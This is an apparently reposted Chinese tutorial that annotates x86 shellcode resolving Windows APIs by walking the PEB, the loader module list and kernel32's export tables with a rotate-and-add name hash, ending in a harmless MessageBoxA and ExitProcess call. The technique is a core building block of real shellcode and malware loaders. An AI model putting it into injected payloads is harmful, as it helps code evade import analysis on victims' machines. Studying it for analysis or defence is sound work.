shellcode API的自动定位
来源:互联网 发布:139端口是什么服务 编辑:程序博客网 时间:2024/05/01 00:46
1.背景知识补充
在使用shellcode的时候有个很大的问题就是动态定位API,下面这段代码介绍的是利用PE结构来寻址API的方法。
步骤:
a.找到PEB
b.找到PEB_LDR_DATA
c.找到InInitializationOrderModuleList
d.找到kernel32.dll基地址
e.找到PE头
f.找到函数导出表
g.利用导出表的AddressOfFunctions , AddressOfNames, AddressOfNameOrdinals这三个表来寻找API地址。
直接在代码中来看吧
2.代码分析CLD;清零CF标志位,使后面的LODSD,STOSD等方向确定
push 0x1e380a6a ;hash code of MessageBoxA
push 0x4fd18963 ;hash code of ExitProcess
push 0x0c917432 ;hash code of LoadLibraryA;以上HASH方式即循环右移7位累加
mov esi, esp;esi指向的是这3个hash码
lea edi, [esi - 0xc];edi现在不用管,以后存储找到的API地址使会用到
;make some stack space
xor ebx, ebx
mov bh, 0x04
sub esp, ebx
;push a pointer to "user32" onto stack
mov bx, 0x3233;push '32'
push ebx
push 0x72657375; push 'user'
push esp
xor edx, edx;以上这段代码的目的是为调用LoadLibraryA预先准备好参数
;下面这段代码我着重说明一下:
;fs:[edx + 0x30]指向的是PEB
;PEB中偏移0x0c处即指向PEB_LDR_DATA的指针
;PEB_LDR_DATA结构如下
typedef struct _PEB_LDR_DATA
{
ULONGLength; // +0x00
BOOLEANInitialized; // +0x04
PVOIDSsHandle; // +0x08
LIST_ENTRYInLoadOrderModuleList; // +0x0c
LIST_ENTRYInMemoryOrderModuleList; // +0x14
LIST_ENTRYInInitializationOrderModuleList;// +0x1c
}PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24
{
ULONG
BOOLEAN
PVOID
LIST_ENTRY
LIST_ENTRY
LIST_ENTRY
}
;不难看出我们所需要的InInitializationOrderModuleList在偏移为0x1c处
;至于如何由InInitializationOrderModuleList得到DLLBASE我们来看下这两个结构
typedef struct _LIST_ENTRY {
}
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
_ACTIVATION_CONTEXT * EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
}LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
{
}
;首先得到InInitializationOrderModuleList之后,由于它是一个LIST_ENTRY结构,且结构的第一个成员是FLINK,所以直接用代码mov ecx,[ecx]即可以得到第一个成员变量(即链表上面第二个节点)。这里要注意一下,在win7环境中,第3个节点才是kernel32.dll所在。
;那么得到LIST_ENTRY之后为什么使用mov ebp, [ecx + 0x08]就能得到kernel32.dll的基地址呢,仔细看LDR_DATA_TABLE_ENTRY结构,实际上InInitializationOrderModuleList上的节点也是这个结构的成员。由于在这个结构中,DLLBASE紧接着 InInitializationOrderModuleList,所以加8就能得到其地址了。换言之,如果想用 InOrderList得到DLLBASE,就得加0x18。
;find base_addr of kernel32.dll
mov ebx, fs:[edx + 0x30]
mov ecx, [ebx + 0x0c]
mov ecx, [ecx + 0x1C]
mov ecx, [ecx]
mov ebp, [ecx + 0x08]
这段代码光看的话很容易进入误区,就是call [edi - 0x8]为什么就是调用LoadLibraryA呢?实际上,由于前面LoadLibraryA是在那3个HASH码的底部,所以这段代码是先被跳过的,等到后面LoadLibraryA以及ExitProcess都寻址完毕后才会调用。还记得前面讲过EDI指向的是已经被寻址的API的地址吗?所以这里call [edi -0x8]很好理解。
find_lib_functions:
lodsd
cmp eax, 0x1e380a6a
jne find_functions
xchg eax, ebp
call [edi -0x8]
xchg eax, ebp
;这个地方弄明白这几个常量的含义:
1.0x3c它是基于DLLBASE的指向PE头的偏移
2.0X78它是基于DLLBASE的指向导出表的偏移
3.0X20它是基于DLLBASE的指向函数名称表AddressOfNames的偏移
find_functions:
pushad ;preserve registers
mov eax, [ebp + 0x3c]
mov ecx, [ebp + eax + 0x78]
add ecx, ebp
mov ebx, [ecx + 0x20]
add ebx, ebp
xor edi, edi
;这段代码是逐次取得名称表中的各项
next_function_loop:
inc edi
mov esi, [ebx + edi * 4]
add esi, ebp
cdq
;然后用找到的各项生成HASH码
hash_loop:
movsx eax, byte ptr[esi]
cmp al, ah;这里比较难理解,实际上是为了判断名称是否结束(由于shellcode中不能出现结束符0,所以用这句话代替)
jz compare_hash
ror edx, 7
add edx, eax
inc esi
jmp hash_loop
compare_hash:
cmp edx, [esp + 0x1c];这里的[esp + 0x1c]为什么取得就是要比较的HASH呢,这里实际上是之前用PUSHAD将寄存器组压栈之后,这里在使用当时压入的EAX
jnz next_function_loop
;这里要介绍一下通过那三个表AddressOfFunctions , AddressOfNames, AddressOfNameOrdinals寻址API的方法。首先在AddressOfNames中获得对应名称的项号,然后在AddressOfNameOrdinals中通过该项号找到真正的在AddressOfFunctions 中的项号,最后在 AddressOfFunctions 中寻址。即,地址 = AddressOfFunctions[AddressOfNameOrdinals[名称表中的项号]]。这里就比较疑惑了,为什么中间要走AddressOfNameOrdinals这个表呢,实际上,由于不是所有的API都有名字,所以说AddressOfNames的项数肯定要比AddressOfFunctions 中少,且它们并不是一一对应的,所以要这么做。
mov ebx, [ecx + 0x24];名称序号表的偏移
add ebx, ebp
mov di, [ebx + 2 * edi];得到函数地址表的项号
mov ebx, [ecx + 0x1c];函数地址表的偏移
add ebx, ebp
add ebp, [ebx + 4 * edi];得到函数地址
xchg eax, ebp
pop edi
stosd
push edi
popad
cmp eax, 0x1e380a6a
jne find_lib_functions
function_call:
xor ebx, ebx
push ebx
push 0x74736577
push 0x6c696166
mov eax, esp
push ebx
push eax
push eax
push ebx
call [edi - 0x04]
push ebx
call [edi - 0x08]
nop
nop
nop
nop
- shellcode API的自动定位
- 动态定位API的shellcode
- 手机自动定位 百度地图API使用的文章
- 手机自动定位 百度地图API使用的文章
- shellcode初级_定位缓冲区
- 通过getelement定位XSS SHELLCODE
- shellcode定位kernel32与LoadLibrary
- 定位API的原理
- 自动生成C语言代码里的shellcode
- ShellCode汇编内存自动提取
- ShellCode汇编内存自动提取
- 谈谈百度API的定位
- HTML5 的定位api geolocation
- bind stage shellcode ,reverse stage shellcode,reverse shellcode的异同
- 高德地图 android api 实现自动定位
- 借助百度地图api实现显示地图,自动定位功能
- 百度地图API自动定位和3种导航
- shellcode的初步编写
- CFile、CArchive及Serialize()的关系。
- STL容器之list
- (三大框架SSH)面试题锦集
- 4.当形参,返回值类型是JavaBean式的复合类,List集合,数组等时:服务端业务逻辑层实现类
- vs2010控制台程序下绘制图形
- shellcode API的自动定位
- Ⅱ型糖尿病新致病基因浮出水面
- 系统自带的 自动关机 参数
- Hibernate配置文件
- 取上月的具体一天
- 在SSH框架下使用基于配置的Spring3的调度任务每次执行2次的问题
- Struts2配置文件详解——struts.xml
- enq: TX - row lock contention 等待事件
- 保存一点android面试笔试资料